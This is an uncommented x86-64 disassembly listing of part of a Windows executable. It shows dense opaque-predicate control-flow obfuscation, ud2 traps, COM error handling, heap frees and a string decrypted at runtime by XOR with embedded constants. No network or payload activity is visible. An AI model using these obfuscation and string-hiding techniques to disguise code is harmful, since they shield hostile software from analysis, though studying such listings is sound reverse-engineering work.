ja 0x140021250
mov qword [rsp + 0x220], r12
test rsi, rsi
je 0x1400215f2
mov r12, qword [rsp + 0x38]
nop dword [rax + rax]
mov eax, dword [0x141dc00e0]
and eax, dword [0x141dc00e4]
and eax, 0x10e00110
or eax, 0xa615bae9
imul eax, eax, 0xb09f2625
mov rbx, qword [rsp + 0x148]
movdqu xmm0, xmmword [r14]
movups xmm1, xmmword [r14 + 0x10]
movdqa xmmword [rsp + 0x40], xmm0
movaps xmmword [rsp + 0x50], xmm1
cmp eax, 0x42c80d69
jb 0x140021160
mov r13, qword [rsp + 0x100]
nop dword [rax + rax]
mov eax, dword [0x141dc00e8]
or eax, dword [0x141dc00ec]
imul eax, eax, 0x7dbec053
add eax, 0x42f3c9bb
cmp eax, 0x1fdf3627
ja 0x1400211b0
cmp r13, qword [rsp + 0x268]
je 0x140021278
mov eax, dword [0x141dc00f0]
and eax, dword [0x141dc00f4]
imul rcx, rax, 0x7157c383
shr rcx, 0x3e
or ecx, 0x62f8dbda
lea rax, [r13*2]
add rax, r13
cmp ecx, 0x60205473
jae 0x140020f20
mov rcx, rax
shl rcx, 4
mov qword [r12 + rcx], rsi
movdqa xmm0, xmmword [rsp + 0x40]
movaps xmm1, xmmword [rsp + 0x50]
movdqu xmmword [r12 + rcx + 8], xmm0
movups xmmword [r12 + rcx + 0x18], xmm1
mov qword [r12 + rcx + 0x28], rbx
lea rcx, [r13 + 1]
mov qword [rsp + 0x278], rcx
jmp 0x140020f20
mov rcx, r13
mov rdx, r12
call fcn.140003220
movdqu xmm0, xmmword [r14]
movups xmm1, xmmword [r14 + 0x10]
movaps xmmword [rsp + 0x80], xmm1
movdqa xmmword [rsp + 0x70], xmm0
jmp 0x1400210f0
mov eax, dword [0x141dc00f8]
or eax, dword [0x141dc00fc]
and eax, 0xf393023f
mov ecx, 0x9a66141d
imul rax, rcx
shr rax, 0x3f
add eax, 0xa2895ea3
cmp eax, 0x83c65e32
jae 0x1400212c7
mov qword [rsp + 0x20], 0x30
mov r8d, 1
mov r9d, 8
lea rcx, [rsp + 0x268]
mov rdx, r13
call fcn.1400faca0
mov qword [rsp + 0x20], 0x30
mov r8d, 1
mov r9d, 8
lea rcx, [rsp + 0x268]
mov rdx, r13
call fcn.1400faca0
mov r12, qword [rsp + 0x270]
jmp 0x1400211dc
mov qword [r12], rsi
movdqa xmm0, xmmword [rsp + 0xd0]
movaps xmm1, xmmword [rsp + 0xe0]
movdqu xmmword [r12 + 8], xmm0
movups xmmword [r12 + 0x18], xmm1
mov qword [r12 + 0x28], rbx
jmp 0x140020ea0
mov qword [rsp + 0x120], 0
xor esi, esi
xor ecx, ecx
lea rdx, [rsp + 0x120]
call qword [sym.imp.oleaut32.dll_GetErrorInfo]
mov r13, qword [rsp + 0x120]
test r13, r13
je 0x140021438
nop
mov eax, dword [0x141dc0040]
imul eax, dword [0x141dc0044]
xor eax, 0xb65fb1f1
imul eax, eax, 0xf7c2008e
cmp eax, 0x9ed4a538
jb 0x140021360
mov rsi, qword [r13]
nop word cs:[rax + rax]
mov eax, dword [0x141dc0048]
add eax, dword [0x141dc004c]
shr eax, 2
imul rax, rax, 0x90af833
shr rax, 0x38
imul ebx, eax, 0x1bb41a4d
add ebx, 0x1b2fa253
mov rcx, r13
call qword [rsi + 0x10]
cmp ebx, 0xc5182006
jbe 0x1400213d0
mov rcx, r13
call qword [rsi + 0x10]
jmp 0x140021390
mov eax, dword [0x141dc0050]
add eax, dword [0x141dc0054]
xor eax, 0xcda8f105
imul eax, eax, 0x7689aaa1
cmp eax, 0x58dc6e8a
je 0x1400213d0
xor esi, esi
mov dword [rsp + 0x110], ebp
mov r13, qword [rsp + 0x70]
test r13, r13
jne 0x140021450
jmp 0x1400214c0
mov sil, 0x13
mov r13, qword [rsp + 0x70]
test r13, r13
jne 0x140021450
jmp 0x1400214c0
mov sil, 0xf
jmp 0x140021540
mov dword [rsp + 0x110], ebp
mov r13, qword [rsp + 0x70]
test r13, r13
je 0x1400214c0
nop dword [rax]
mov ecx, 0x9f8839d1
nop word cs:[rax + rax]
mov eax, dword [0x141dc0068]
imul eax, dword [0x141dc006c]
imul rax, rcx
shr rax, 0x39
add eax, 0x17d54f15
cmp eax, 0x3c3398a4
ja 0x140021460
mov rax, qword [r13]
mov rbx, qword [rax + 0x10]
nop dword [rax]
mov eax, dword [0x141dc0070]
sub eax, dword [0x141dc0074]
imul r14d, eax, 0x104d65e2
and r14d, 0x64ddcbac
mov rcx, r13
call rbx
cmp r14d, 0x50ca8e9
jb 0x1400214c0
mov rcx, r13
call rbx
jmp 0x140021490
mov eax, dword [0x141dc0080]
add eax, dword [0x141dc0084]
imul rax, rax, 0x6cdb052d
shr rax, 0x3c
imul eax, eax, 0x4d2b6e5b
add eax, 0x967755f4
cmp eax, 0x33461df8
jb 0x1400214c0
lea r14, [rsp + 0x128]
nop word cs:[rax + rax]
mov eax, dword [0x141dc0088]
imul eax, dword [0x141dc008c]
cmp eax, 0x1e105
je 0x140021500
test ebp, ebp
js 0x140021522
mov ebp, 0xbbcb1f25
jmp 0x14002177f
mov ebp, 0xbbcb1f25
mov r12, qword [rsp + 0x220]
mov r10d, dword [rsp + 0x110]
nop word [rax + rax]
mov eax, dword [0x141dc0090]
xor edx, edx
div dword [0x141dc0094]
add eax, 0x377ea5f0
or eax, 0x1c400200
and eax, 0x9ec15222
mov byte [rsp + 0x128], sil
movzx ecx, byte [rsp + 0x25f]
mov byte [r14 + 3], cl
movzx ecx, word [rsp + 0x25d]
mov word [r14 + 1], cx
mov dword [rsp + 0x12c], r10d
mov qword [rsp + 0x130], r12
movups xmm0, xmmword [rsp + 0xd0]
movups xmmword [r14 + 0x10], xmm0
movzx ecx, byte [r14]
movzx edx, word [r14 + 1]
movzx r8d, byte [r14 + 3]
mov r9, qword [r14 + 4]
mov word [rsp + 0x71], dx
mov edx, dword [r14 + 0xc]
movdqu xmm0, xmmword [r14 + 0x10]
mov byte [rsp + 0x70], cl
mov byte [rsp + 0x73], r8b
mov qword [rsp + 0x74], r9
mov dword [rsp + 0x7c], edx
movdqa xmmword [rsp + 0x80], xmm0
cmp eax, 0x9e565227
ja 0x140021540
mov dword [rsp + 0x110], r10d
mov qword [rsp + 0x220], r12
movzx eax, byte [rsp + 0x1f0]
cmp rax, 0x12
je case.0x14002167e.0
nop word cs:[rax + rax]
mov ecx, dword [0x141dc00a8]
add ecx, dword [0x141dc00ac]
imul ecx, ecx, 0xcb07a223
add ecx, 0x6ed1757f
or ecx, 0xbf7cafe4
cmp ecx, 0xda3cce41
ja 0x140021610
nop word cs:[rax + rax]
mov ecx, dword [0x141dc00b0]
xor ecx, dword [0x141dc00b4]
and ecx, 0x46e93ee5
xor ecx, 0xf5ab6f68
imul ecx, ecx, 0x9c02fffb
cmp ecx, 0x458ca7d3
jb 0x140021640
cmp rax, 0x10
ja case.0x14002167e.12
lea rcx, [0x141db7278]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rax, qword [rsp + 0x1f8]
nop dword [rax + rax]
mov ecx, dword [0x141dc00c0]
and ecx, dword [0x141dc00c4]
or ecx, 0xdb245248
and ecx, 0xffbcdecb
xor ecx, 0x2c04f271
cmp ecx, 0x9e51d29a
jb 0x140021690
nop word cs:[rax + rax]
mov ecx, dword [0x141dc00c8]
or ecx, dword [0x141dc00cc]
and ecx, 0xfcc9388
add ecx, 0xa67fe71b
xor ecx, 0xa20f1734
cmp ecx, 0x943ffa58
ja 0x1400216c0
jmp 0x140021c30
mov eax, dword [0x141dc00d0]
or eax, dword [0x141dc00d4]
and eax, 0x61422916
add eax, 0xfc493a40
cmp eax, 0xaf249dae
ja case.0x14002167e.9
mov esi, 0x10
cmp qword [rsp + 0x1f8], 0
je case.0x14002167e.0
nop dword [rax]
mov ebx, dword [0x141dc00b8]
and ebx, dword [0x141dc00bc]
add ebx, 0xa9abe657
and ebx, 0xc34172e9
add ebx, 0x761a9d5f
mov r8, qword [rsp + rsi + 0x1f0]
mov rcx, qword [0x141dd7fe0]
xor edx, edx
call r15
cmp ebx, 0xa1fb4dde
jae 0x140021720
nop word [rax + rax]
movdqa xmm0, xmmword [rsp + 0x70]
movaps xmm1, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x200], xmm1
movdqa xmmword [rsp + 0x1f0], xmm0
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 0x10]
mov rax, qword [rsp + 0x268]
mov qword [rsp + 0x240], rax
cmp byte [rsp + 0x1f0], 0x12
lea r12, [0x1400ffe44]
jne 0x1400222ca
nop dword [rax]
mov eax, dword [0x141dc0128]
imul eax, dword [0x141dc012c]
xor eax, 0x8f92775b
imul eax, eax, 0xbc95edf
cmp eax, 0x2d962769
jb 0x1400217b0
cmp qword [rsp + 0x100], 0
je 0x1400221b7
xor esi, esi
lea rcx, [rsi + rsi*2]
shl rcx, 4
mov rax, qword [rsp + 0x38]
mov rax, qword [rax + rcx + 8]
test rax, rax
je 0x140021a62
mov qword [rsp + 0x228], rax
mov qword [rsp + 0x118], rsi
add rcx, qword [rsp + 0x38]
mov eax, dword [0x141dc0150]
imul eax, dword [0x141dc0154]
imul eax, eax, 0xdc937460
add eax, 0x3900067e
cmp eax, 0xce82c970
ja 0x140021810
mov qword [rsp + 0xf8], rcx
mov r12, qword [rcx + 0x18]
test r12, r12
je 0x14002198b
mov rax, qword [rsp + 0xf8]
mov r14, qword [rax]
movdqa xmm0, xmmword [r14]
pmovmskb ebx, xmm0
not ebx
lea rbp, [r14 + 0x10]
nop
test bx, bx
jne 0x1400218af
nop word cs:[rax + rax]
movdqa xmm0, xmmword [rbp]
pmovmskb ebx, xmm0
add r14, 0xfffffffffffffc80
add rbp, 0x10
cmp ebx, 0xffff
je 0x140021870
nop dword [rax]
mov eax, dword [0x141dc0158]
xor eax, dword [0x141dc015c]
or eax, 0xfe79ddf7
add eax, 0x5744ce1a
cmp eax, 0x5f0f7876
jae 0x140021890
not ebx
tzcnt eax, ebx
neg rax
imul rax, rax, 0x38
lea rdi, [r14 + rax]
cmp qword [r14 + rax - 0x38], 0
je 0x140021906
mov r13, qword [rdi - 0x30]
nop word [rax + rax]
mov eax, dword [0x141dc0160]
imul eax, dword [0x141dc0164]
imul esi, eax, 0xd96d364f
xor esi, 0xf4a1838c
add esi, 0x61691eeb
mov rcx, qword [0x141dd7fe0]
xor edx, edx
mov r8, r13
call r15
cmp esi, 0x6ebd33ac
ja 0x1400218d0
lea eax, [rbx - 1]
and eax, ebx
mov ebx, eax
dec r12
add rdi, 0xffffffffffffffe0
nop word cs:[rax + rax]
mov eax, dword [0x141dc0168]
add eax, dword [0x141dc016c]
or eax, 0x8deaa63e
imul rax, rax, 0x4fe6d19
shr rax, 0x38
imul esi, eax, 0xc9699a9f
mov rcx, rdi
call fcn.14000f6c0
cmp esi, 0x4d4e9995
jae 0x140021960
mov rcx, rdi
call fcn.14000f6c0
jmp 0x140021920
mov eax, dword [0x141dc0170]
or eax, dword [0x141dc0174]
add eax, 0x92641690
or eax, 0x110f2317
and eax, 0xdf0fffb7
cmp eax, 0x2c6df820
jb 0x140021960
test r12, r12
jne 0x140021860
mov r10, qword [rsp + 0x228]
lea rcx, [r10 + 1]
lea r12, [0x1400ffe44]
mov r9d, 0x38
nop word cs:[rax + rax]
mov eax, dword [0x141dc0178]
and eax, dword [0x141dc017c]
imul r8d, eax, 0x8dbb8b3e
imul rax, r8, 0x1d3c767
shr rax, 0x20
sub r8d, eax
shr r8d, 1
add r8d, eax
shr r8d, 0x1d
add r8d, 0x165926c
mov rax, rcx
mul r9
cmp r8d, 0x2b05ab5b
ja 0x1400219b0
add rax, 0xf
and rax, 0xfffffffffffffff0
add r10, rax
cmp r10, 0xffffffffffffffef
lea r14, [rsp + 0x128]
mov ebp, 0xbbcb1f25
mov rsi, qword [rsp + 0x118]
mov rcx, qword [rsp + 0xf8]
je 0x140021a62
mov r8, qword [rcx]
sub r8, rax
mov rcx, qword [0x141dd7fe0]
xor edx, edx
call r15
nop word cs:[rax + rax]
mov eax, dword [0x141dc0180]
xor eax, dword [0x141dc0184]
and eax, 0xcedfdb5e
add eax, 0x90a0beb
and eax, 0xc4b407b4
cmp eax, 0x7697940
jb 0x140021a40
inc rsi
nop word cs:[rax + rax]
mov eax, dword [0x141dc0188]
xor eax, dword [0x141dc018c]
xor eax, 0xa8cf95da
add eax, 0x59d5804e
cmp eax, 0x1b0e60c0
jb 0x140021a70
cmp rsi, qword [rsp + 0x100]
jne 0x1400217e0
nop dword [rax + rax]
mov eax, dword [0x141dc0190]
or eax, dword [0x141dc0194]
imul eax, eax, 0xa4483ad5
xor eax, 0x920c625c
or eax, 0x2df30c82
cmp eax, 0x95f695be
ja 0x140021aa0
cmp qword [rsp + 0x240], 0
je 0x140021b00
mov rcx, qword [0x141dd7fe0]
xor edx, edx
mov r8, qword [rsp + 0x38]
call r15
nop
mov eax, dword [0x141dc0198]
xor eax, dword [0x141dc019c]
imul rax, rbp
shr rax, 0x3e
add eax, 0xb95de33
cmp eax, 0x985f5d4d
ja 0x140021ae0
mov eax, dword [0x141dc01a0]
or eax, dword [0x141dc01a4]
imul eax, eax, 0x5d7cd991
add eax, 0x856a9bc3
xor eax, 0x3971a59e
cmp eax, 0x62d400e1
ja 0x140021b00
cmp qword [rsp + 0x238], 0
je 0x140021b70
mov eax, dword [0x141dc01a8]
and eax, dword [0x141dc01ac]
xor eax, 0x27de8f87
imul eax, eax, 0x16ecc9f4
add eax, 0x887fdb1c
cmp eax, 0xc59186c7
jbe 0x140021b58
mov rax, qword [0x141dd7fe0]
mov rcx, qword [0x141dd7fe0]
xor edx, edx
mov r8, qword [rsp + 0xf0]
call r15
nop dword [rax]
mov eax, dword [0x141dc01b0]
add eax, dword [0x141dc01b4]
cmp eax, 0xf0d02308
je 0x140021b70
nop word cs:[rax + rax]
mov eax, dword [0x141dc01b8]
xor edx, edx
div dword [0x141dc01bc]
add eax, 0x7bf7aac5
or eax, 0x5ed11bb9
imul eax, eax, 0xb4eec2c3
cmp eax, 0x7df71907
jb 0x140021b90
mov rdx, qword [rsp + 0x250]
add rdx, 0xffffffffffffffe8
mov rcx, qword [rsp + 0x248]
add rcx, 0x18
mov rax, qword [rsp + 0x218]
cmp rax, 9
jne 0x14002099c
jmp 0x140021d07
mov esi, 8
cmp qword [rsp + 0x200], 0
jne 0x140021720
jmp case.0x14002167e.0
mov rax, qword [rsp + 0x1f8]
nop word cs:[rax + rax]
mov ecx, dword [0x141dc00d8]
xor ecx, dword [0x141dc00dc]
and ecx, 0x48000
imul ecx, ecx, 0xc3111565
cmp ecx, 0x542c82b2
jb 0x140021c10
mov esi, 0x10
test rax, rax
jne 0x140021720
jmp case.0x14002167e.0
mov byte [rsp + 0x40], 0x13
mov eax, dword [0x141dbfff0]
xor eax, dword [0x141dbfff4]
or eax, 0xe092daa9
add eax, 0x354a2176
mov byte [rsp + 0x40], 0x13
cmp eax, 0xb30ef559
ja 0x140021c50
mov bpl, 0x13
mov rsi, qword [rsp + 0x70]
test rsi, rsi
jne 0x140021e3f
jmp 0x140021e80
cmp qword [rsp + 0x218], 9
mov rax, qword [rsp + 0x250]
je 0x140021d07
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
mov rsi, rdx
mov rdx, qword [rsp + 0x248]
shr rsi, 4
nop dword [rax]
cmp qword [rdx - 8], 0
je 0x140021ce0
mov r8, qword [rdx]
mov rcx, qword [0x141dd7fe0]
mov rdi, rdx
xor edx, edx
call r15
mov rdx, rdi
nop dword [rax]
mov eax, dword [0x141dbff18]
add eax, dword [0x141dbff1c]
imul eax, eax, 0x5730648c
add eax, 0xbb5b79a8
cmp eax, 0x6899b084
ja 0x140021ce0
add rdx, 0x18
dec rsi
jne 0x140021cc0
mov eax, dword [0x141dbff20]
sub eax, dword [0x141dbff24]
imul eax, eax, 0xf387e1de
and eax, 0x5aedb88c
xor eax, 0xa5258c81
cmp eax, 0x9257b789
mov rdi, qword [rsp + 0x230]
jb 0x140022456
jmp 0x14002241e
mov eax, dword [0x141dbffc0]
imul eax, dword [0x141dbffc4]
xor eax, 0xa000e000
and eax, 0xa280ec4a
imul eax, eax, 0x7a86af77
cmp eax, 0xfa1504b5
jbe 0x140021d7b
mov qword [rsp + 0x120], 0
lea rdx, [rsp + 0x120]
xor ecx, ecx
call qword [sym.imp.oleaut32.dll_GetErrorInfo]
mov qword [rsp + 0x120], 0
lea rdx, [rsp + 0x120]
xor ecx, ecx
call qword [sym.imp.oleaut32.dll_GetErrorInfo]
mov rsi, qword [rsp + 0x120]
test rsi, rsi
je 0x140021e05
mov eax, dword [0x141dbffc8]
imul eax, dword [0x141dbffcc]
mov r14, qword [rsi]
xor eax, 0xcefa5325
add eax, 0x99525d02
cmp eax, 0x27b402bf
jae 0x140021dd0
mov rcx, rsi
call qword [r14 + 0x10]
nop dword [rax]
mov ebp, dword [0x141dbffd0]
and ebp, dword [0x141dbffd4]
or ebp, 0x48040874
and ebp, 0x4a8e887d
xor ebp, 0x7c7c79bc
mov rcx, rsi
call qword [r14 + 0x10]
cmp ebp, 0x54ef77e8
ja 0x140021dd0
jmp 0x140021e05
mov byte [rsp + 0x40], 0
mov eax, dword [0x141dbffd8]
xor edx, edx
div dword [0x141dbffdc]
or eax, 0x26931257
imul eax, eax, 0x3bca7f01
add eax, 0xe2e1b84d
mov byte [rsp + 0x40], 0
cmp eax, 0xec386acd
ja 0x140021e00
mov dword [rsp + 0x44], ebx
xor ebp, ebp
mov rsi, qword [rsp + 0x70]
test rsi, rsi
je 0x140021e80
mov r14, qword [rsi]
nop word cs:[rax + rax]
mov eax, dword [0x141dbffe8]
add eax, dword [0x141dbffec]
or eax, 0x165818e3
imul r12d, eax, 0x92259c71
or r12d, 0x2ef639f7
mov rcx, rsi
call qword [r14 + 0x10]
cmp r12d, 0xd1234e53
jae 0x140021e50
nop
mov eax, dword [0x141dc0008]
imul eax, dword [0x141dc000c]
imul rax, rax, 0x2ddc1585
shr rax, 0x3b
add eax, 0xd4cd912e
cmp eax, 0xdad4adc4
ja 0x140021e80
test ebx, ebx
lea r14, [rsp + 0x128]
js 0x140021ed0
lea rcx, [rsp + 0x40]
call fcn.14000daa0
mov bl, 0x12
jmp 0x140021fed
mov eax, dword [str.O_v7y]
sub eax, dword [0x141dc0014]
and eax, 0x481fbb6a
add eax, 0x7bdf3eb9
and eax, 0xe1b8b990
cmp eax, 0x1c16824f
jb 0x140021ed0
mov rdx, qword [rsp + 0x48]
jmp 0x140021f00
mov bpl, 0xf
nop dword [rax]
mov eax, dword [0x141dc0018]
xor eax, dword [0x141dc001c]
imul eax, eax, 0xf49dc8ec
or eax, 0xb27cc811
imul eax, eax, 0xf4da4fda
mov byte [rsp + 0x128], bpl
lea r9, [rsp + 0x50]
mov ecx, dword [r9 - 0xf]
mov r8d, dword [r9 - 0xc]
mov dword [r14 + 4], r8d
mov dword [r14 + 1], ecx
mov qword [rsp + 0x130], rdx
movups xmm0, xmmword [r9]
movups xmmword [r14 + 0x10], xmm0
movzx ecx, byte [r14]
mov r8d, dword [r14 + 1]
movzx r9d, word [r14 + 5]
movzx r10d, byte [r14 + 7]
mov dword [rsp + 0x71], r8d
mov r8, qword [r14 + 8]
movdqu xmm0, xmmword [r14 + 0x10]
movdqa xmmword [rsp + 0x80], xmm0
mov byte [rsp + 0x70], cl
mov word [rsp + 0x75], r9w
mov byte [rsp + 0x77], r10b
mov qword [rsp + 0x78], r8
cmp eax, 0x61b1c96a
jbe 0x140021f00
movzx eax, byte [rsp + 0x70]
mov ecx, dword [rsp + 0x71]
movzx edx, word [rsp + 0x75]
movzx r8d, byte [rsp + 0x77]
mov r9, qword [rsp + 0x78]
movdqa xmm0, xmmword [rsp + 0x80]
movdqa xmmword [rsp + 0x200], xmm0
mov byte [rsp + 0x1f0], al
mov dword [rsp + 0x1f1], ecx
mov word [rsp + 0x1f5], dx
mov byte [rsp + 0x1f7], r8b
mov qword [rsp + 0x1f8], r9
movzx ebx, byte [rsp + 0x1f0]
mov r14, qword [rsp + 0xf0]
nop word cs:[rax + rax]
mov eax, dword [0x141dc0100]
add eax, dword [0x141dc0104]
imul esi, eax, 0x85d88a3
add esi, 0x61bf90b
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 0x10]
cmp esi, 0x6503d1ec
jbe 0x140022034
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 0x10]
jmp 0x140022000
cmp bl, 0x12
jne 0x1400223d0
mov rax, qword [rsp + 0x218]
lea rsi, [rax + rax*2]
cmp qword [rsp + 0x238], 0
je 0x140022066
mov rcx, qword [0x141dd7fe0]
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rsp + 0x230]
lea rdi, [rax + rsi*8]
mov rax, qword [rsp + 0x218]
lea rax, [rax*8]
lea rax, [rax + rax*2]
mov ecx, 0xd8
sub rcx, rax
movabs r8, 0xaaaaaaaaaaaaaaab
nop dword [rax + rax]
mov eax, dword [0x141dc0138]
or eax, dword [0x141dc013c]
xor eax, 0x6bdc3370
shr eax, 3
imul r9, rax, 0x8f7bb81
shr r9, 0x33
add r9d, 0x2a38e863
mov rax, rcx
mul r8
cmp r9d, 0x1dc256cb
jb 0x1400220a0
cmp qword [rsp + 0x218], 9
jne 0x140022113
mov rcx, qword [0x141dd7fe0]
xor edx, edx
mov r8, qword [rsp + 0x230]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x260]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov al, 1
mov dword [rsp + 0x110], eax
jmp 0x1400224ae
mov rsi, rdx
shr rsi, 4
xor ebx, ebx
jmp 0x140022128
inc rbx
cmp rbx, rsi
je 0x1400220e0
lea rax, [rbx + rbx*2]
cmp qword [rdi + rax*8], 0
je 0x140022120
lea rax, [rdi + rax*8]
nop word [rax + rax]
mov ecx, dword [0x141dc0140]
xor ecx, dword [0x141dc0144]
add ecx, 0xf01ffc7e
imul rdx, rcx, 0x149730ef
shr rdx, 0x20
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 0x1f
or ecx, 0x780b7db8
cmp ecx, 0x865078ab
ja 0x140022140
mov r8, qword [rax + 8]
mov rcx, qword [0x141dd7fe0]
xor edx, edx
call r15
nop word cs:[rax + rax]
mov eax, dword [0x141dc0148]
xor eax, dword [0x141dc014c]
or eax, 0xb4605914
and eax, 0xb5627b16
add eax, 0xb9b6b4f2
cmp eax, 0x10bd47a7
jb 0x140022190
jmp 0x140022120
cmp qword [rsp + 0x240], 0
mov r14, qword [rsp + 0xf0]
je 0x14002203d
mov rcx, qword [0x141dd7fe0]
xor edx, edx
mov r8, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14002203d
mov eax, dword [0x141dbfe98]
or eax, dword [0x141dbfe9c]
and eax, 0x9dd54651
imul eax, eax, 0x91b42b75
add eax, 0xe2722ea0
cmp eax, 0xfa145fe4
jbe 0x14002220c
ud2
ud2
ud2
ud2
mov eax, dword [0x141dbff68]
and eax, dword [0x141dbff6c]
and eax, 0x1127b000
xor eax, 0xc57d5343
cmp eax, 0xc38e887f
jb 0x140022c68
jmp 0x140022c22
mov eax, dword [0x141dbff00]
sub eax, dword [0x141dbff04]
imul eax, eax, 0x25e6f6e9
add eax, 0x59a501d
or eax, 0x3569e4a0
cmp eax, 0x465b12e9
jb 0x1400225c9
jmp 0x14001ea28
mov r15, qword [rsp + 0x100]
test r15, r15
mov r14, qword [rsp + 0x38]
je 0x140022358
xor esi, esi
nop
mov eax, dword [0x141dc0108]
xor eax, dword [0x141dc010c]
add eax, 0x1b1337bc
shr eax, 2
imul rax, rax, 0x47458bb7
shr rax, 0x39
imul eax, eax, 0x1e62a0f
lea rdi, [rsi + rsi*2]
cmp eax, 0x488f1868
jbe 0x140022320
mov rcx, rdi
shl rcx, 4
add rcx, r14
call fcn.14000d5a0
nop
mov ebx, dword [0x141dc0110]
imul ebx, dword [0x141dc0114]
add ebx, 0x6eddf246
or ebx, 0xff29ee6
mov rcx, rdi
shl rcx, 4
add rcx, r14
call fcn.14000d5a0
cmp ebx, 0xb2198150
jb 0x140022320
inc rsi
cmp rsi, r15
jne 0x1400222e0
mov r8, r14
nop dword [rax + rax]
mov eax, dword [0x141dc0118]
xor edx, edx
div dword [0x141dc011c]
and eax, 0xb58eec7
imul eax, eax, 0x98189d32
add eax, 0xd405731
cmp eax, 0xb49a6c05
ja 0x140022360
cmp qword [rsp + 0x240], 0
je 0x1400223d0
mov eax, dword [0x141dc0120]
xor edx, edx
div dword [0x141dc0124]
and eax, 0xe54db401
imul eax, eax, 0xbb2f3186
add eax, 0x74e14ad6
mov rcx, qword [0x141dd7fe0]
cmp eax, 0xacc894de
ja 0x140022390
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop word cs:[rax + rax]
mov eax, dword [0x141dc0130]
sub eax, dword [0x141dc0134]
and eax, 0xf500f79a
imul eax, eax, 0xf1968d17
add eax, 0xf7d8cd94
ud2
mov eax, dword [0x141dbfed8]
xor eax, dword [0x141dbfedc]
xor eax, 0x11e44df3
cmp eax, 0x6605e90
jb 0x1400225f8
jmp 0x1400225cd
mov esi, dword [0x141dbff28]
or esi, dword [0x141dbff2c]
or esi, 0xb8de7428
xor esi, 0x61bb21aa
add esi, 0xa6ea64a7
mov rcx, qword [0x141dd7fe0]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp esi, 0x1d7d7742
jae 0x14002246a
mov rcx, qword [0x141dd7fe0]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14002241e
mov rsi, qword [rsp + 0x260]
mov rdi, qword [rsi]
mov eax, dword [0x141dbff30]
and eax, dword [0x141dbff34]
add eax, 0xb46d7cfc
and eax, 0x8d91775e
add eax, 0xbf0ff023
cmp eax, 0x942361b7
jae 0x14002249d
mov rcx, rsi
call qword [rdi + 0x10]
mov rcx, rsi
call qword [rdi + 0x10]
mov dword [rsp + 0x110], 0
lea rdx, [0x141db6d68]
lea rcx, [rsp + 0x120]
mov r8d, 0xa
call fcn.1400dd120
cmp byte [rsp + 0x120], 0x12
jne 0x14001ea28
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0xd0], rax
lea rax, [0x141db1a0a]
mov qword [rsp + 0x40], rax
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x40]
movabs rax, 0xa0596f644dfda2a
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x40]
call fcn.14001bab0
movabs rcx, 0xc9e5e40061458c64
xor rcx, qword [rax]
movabs rdx, 0xc8d6d2d9de08f2
xor rdx, qword [rax + 8]
movabs r8, 0xee80e0905841e0bb
xor r8, qword [rax + 0x10]
movabs r9, 0x747de76a0c1a2f9
xor r9, qword [rax + 0x18]
movabs r10, 0xec039e276da56672
xor r10, qword [rax + 0x20]
mov r11d, 0x67210944
xor r11d, dword [rax + 0x28]
movzx ebx, byte [rax + 0x2c]
xor bl, 0x40
mov qword [rsp + 0x120], rcx
mov qword [rsp + 0x128], rdx
mov qword [rsp + 0x130], r8
mov qword [rsp + 0x138], r9
mov qword [rsp + 0x140], r10
mov dword [rsp + 0x148], r11d
mov eax, dword [0x141dc01c0]
and eax, dword [0x141dc01c4]
xor eax, 0x1ac3d492
imul rax, rax, 0x6c2a6445
shr rax, 0x3e
or eax, 0x54057ec
cmp eax, 0xfdff3931
ja 0x14002264b
jmp 0x1400225fc
ud2
mov eax, dword [0x141dbfee0]
xor edx, edx
div dword [0x141dbfee4]
and eax, 0xccf01ce2
imul eax, eax, 0xf76af8bb
or eax, 0x19bcece4
ud2
ud2
mov eax, dword [0x141dc01c8]
imul eax, dword [0x141dc01cc]
and eax, 0x4d046028
or eax, 0xa0fa9ed4
imul esi, eax, 0xf14559f5
mov byte [rsp + 0x14c], bl
lea rcx, [rsp + 0x70]
lea r14, [rsp + 0xd0]
lea r8, [rsp + 0x120]
mov r9d, 0x2d
mov rdx, r14
call fcn.140006f20
cmp esi, 0x4783a97a
jbe 0x140022674
mov byte [rsp + 0x14c], bl
lea rcx, [rsp + 0x70]
lea rdx, [rsp + 0xd0]
lea r8, [rsp + 0x120]
mov r9d, 0x2d
call fcn.140006f20
jmp 0x1400225fc
cmp byte [rsp + 0x70], 0x12
jne 0x140022b89
mov eax, dword [0x141dc01d0]
sub eax, dword [0x141dc01d4]
mov ecx, 0xc40165eb
imul rcx, rax
shr rcx, 0x3c
and ecx, 7
imul eax, ecx, 0x5b801c4a
cmp eax, 0x43c0e707
mov eax, 0xf52fb6ab
nop dword [rax + rax]
mov ecx, dword [0x141dc01d8]
add ecx, dword [0x141dc01dc]
imul ecx, ecx, 0x242413ee
imul rcx, rax
shr rcx, 0x3e
add ecx, 0x40974252
cmp ecx, 0x2c59f8c7
jb 0x1400226b0
mov rax, qword [rsp + 0x78]
mov r13, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x88]
test rcx, rcx
je 0x1400228b2
mov qword [rsp + 0x228], rax
mov qword [rsp + 0x220], rcx
lea rax, [rcx + rcx*2]
shl rax, 4
add rax, r13
mov qword [rsp + 0xf0], rax
xor r12d, r12d
lea rbx, [0x1400fff00]
mov qword [rsp + 0x118], r13
mov rax, r13
mov rbp, qword [rax]
mov rdi, qword [rax + 0x18]
add rax, 0x30
mov qword [rsp + 0x100], rax
movdqa xmm0, xmmword [rbp]
pmovmskb ecx, xmm0
not ecx
lea r13, [rbp + 0x10]
jmp 0x14002276c
mov ecx, dword [rsp + 0x38]
test al, al
jne 0x140022861
sub rdi, 1
